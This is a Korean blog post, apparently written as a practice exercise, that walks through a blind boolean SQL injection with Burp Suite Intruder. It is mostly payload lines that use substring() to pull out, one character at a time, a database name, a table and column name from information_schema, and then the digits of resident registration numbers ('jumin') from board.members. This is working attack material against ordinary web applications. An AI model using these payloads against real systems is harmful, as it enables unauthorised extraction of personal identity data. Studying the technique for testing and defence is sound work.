Oh! JUN
데이터 추론 기법(순차탐색) 실습(feat. Burp Suite Intruder 활용) 본문
※ 목표
DB(board) -> Table(members) -> column(idx, id, password, jumin)
1. DB 이름 파악
substring(database(), 1, 1)='b' | 정상 출력 -> test검색 |
substring(database(), 2, 1)='o' | 정상 출력 -> test검색 |
substring(database(), 3, 1)='a' | 정상 출력 -> test검색 |
substring(database(), 4, 1)='r' | 정상 출력 -> test검색 |
substring(database(), 5, 1)='d' | 정상 출력 -> test검색 |
- database() : DB 이름 정보
- substring('문자열',index,size)
- 실제로는 모든 대소문자 + 특수문자를 대입해서 참인지 거짓인지 판별하여 탐색이 가능하다.
- 참이면 'test' 검색 정상적으로 작동하고, 거짓이면 검색기능을 하지 않는다.
2. Table 이름 파악
substring((select table_name from information_schema.columns where table_schema = 'board' and column_name like '%JUMIN%'),1,1)='m' | 정상 출력 -> test검색 |
substring((select table_name from information_schema.columns where table_schema = 'board' and column_name like '%JUMIN%'),2,1)='e' | 정상 출력 -> test검색 |
substring((select table_name from information_schema.columns where table_schema = 'board' and column_name like '%JUMIN%'),3,1)='m' | 정상 출력 -> test검색 |
substring((select table_name from information_schema.columns where table_schema = 'board' and column_name like '%JUMIN%'),4,1)='b' | 정상 출력 -> test검색 |
substring((select table_name from information_schema.columns where table_schema = 'board' and column_name like '%JUMIN%'),5,1)='e' | 정상 출력 -> test검색 |
substring((select table_name from information_schema.columns where table_schema = 'board' and column_name like '%JUMIN%'),6,1)='r' | 정상 출력 -> test검색 |
substring((select table_name from information_schema.columns where table_schema = 'board' and column_name like '%JUMIN%'),7,1)='s' | 정상 출력 -> test검색 |
- DB 이름이 'board'이면서 컬럼 이름에 JUMIN이 포함되어있는 Table의 이름을 조회
3. column 이름 파악
substring((select column_name from information_schema.columns where table_schema = 'board' and table_name='members' and column_name like '%JUMIN%'),1,1)='J' | 정상 출력 -> test검색 |
substring((select column_name from information_schema.columns where table_schema = 'board' and table_name='members' and column_name like '%JUMIN%'),2,1)='U' | 정상 출력 -> test검색 |
substring((select column_name from information_schema.columns where table_schema = 'board' and table_name='members' and column_name like '%JUMIN%'),3,1)='M' | 정상 출력 -> test검색 |
substring((select column_name from information_schema.columns where table_schema = 'board' and table_name='members' and column_name like '%JUMIN%'),4,1)='I' | 정상 출력 -> test검색 |
substring((select column_name from information_schema.columns where table_schema = 'board' and table_name='members' and column_name like '%JUMIN%'),5,1)='N' | 정상 출력 -> test검색 |
- DB 이름이 'board' 이고, Table 이름이 'members'이면서 컬럼에 'JUMIN'이 포함되어 있는 컬럼의 이름 조회
4. Data 파악
substring((select jumin from board.members limit 0,1),1,1)=8 | 정상 출력 -> test검색 |
substring((select jumin from board.members limit 0,1),2,1)=1 | 정상 출력 -> test검색 |
substring((select jumin from board.members limit 0,1),3,1)=0 | 정상 출력 -> test검색 |
substring((select jumin from board.members limit 0,1),4,1)=2 | 정상 출력 -> test검색 |
... | ... |
- board.members의 첫번째(limit 0,1) 열 'JUMIN'의 첫번째 값(substring('',1,1))부터 체크
'웹 해킹 > SQL Injection' 카테고리의 다른 글
데이터 추론 기법(비트, MYSQL) 실습 (0) | 2022.08.31 |
---|---|
데이터 추론 기법(아스키코드) 실습 (0) | 2022.08.30 |
UNION-BASED 공격이 가능한 아이디 중복 조회 기능에 대한 공격 실습 (0) | 2022.08.28 |
ORACLE UNION-BASED 공격 실습 (0) | 2022.08.27 |
MYSQL UNION-BASED 공격 실습, 목록과 상세보기의 기능적 차이 (0) | 2022.08.26 |